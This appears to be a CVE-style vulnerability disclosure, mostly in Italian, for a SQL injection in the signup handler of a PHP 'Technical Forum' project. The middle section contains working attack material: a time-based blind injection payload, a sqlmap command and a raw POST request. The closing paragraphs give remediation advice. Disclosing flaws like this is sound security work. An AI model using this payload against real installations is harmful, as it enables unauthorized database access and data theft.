
CVE-poc
CVE-poc
Iniezione SQL
È stata identificata una vulnerabilità di iniezione SQL nel file /signuppost.php del progetto “Technical Forum Using PHP Source Code”. La vulnerabilità deriva dal fatto che un attaccante può iniettare codice dannoso tramite il parametro username di accesso e utilizzare quel parametro direttamente in una query SQL senza validazione. Ciò consente a un attaccante di falsificare i valori di input per manipolare le query SQL ed eseguire azioni non autorizzate.
Un attaccante può sfruttare questa vulnerabilità di iniezione SQL per ottenere accesso non autorizzato a un database, divulgare dati sensibili, manomettere i dati, controllare completamente il sistema o persino interrompere i servizi, rappresentando una seria minaccia per la sicurezza del sistema e la continuità operativa.
Nome della vulnerabilità: parametro Username
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
Utilizzo di istruzioni precompilate e binding dei parametri Le istruzioni precompilate prevengono l'iniezione SQL separando il codice SQL dai dati immessi dall'utente. Quando si utilizzano istruzioni precompilate, i valori inseriti dall'utente vengono trattati come dati puri e non vengono interpretati come codice SQL.
Validazione e filtraggio degli input Validare e filtrare rigorosamente i dati immessi dall'utente per garantire che siano conformi al formato previsto.
Minimizzare i privilegi degli utenti del database Assicurarsi che gli account utilizzati per connettersi al database dispongano dei privilegi minimi necessari. Evitare di utilizzare account con privilegi più elevati (ad esempio “root” o “admin”) per le operazioni quotidiane.
Eseguire audit di sicurezza regolari Eseguire audit regolari della sicurezza del codice e del sistema per identificare e correggere tempestivamente potenziali vulnerabilità di sicurezza.
Seguendo queste raccomandazioni, puoi migliorare notevolmente la sicurezza delle tue applicazioni e ridurre i rischi associati alle vulnerabilità di iniezione SQL.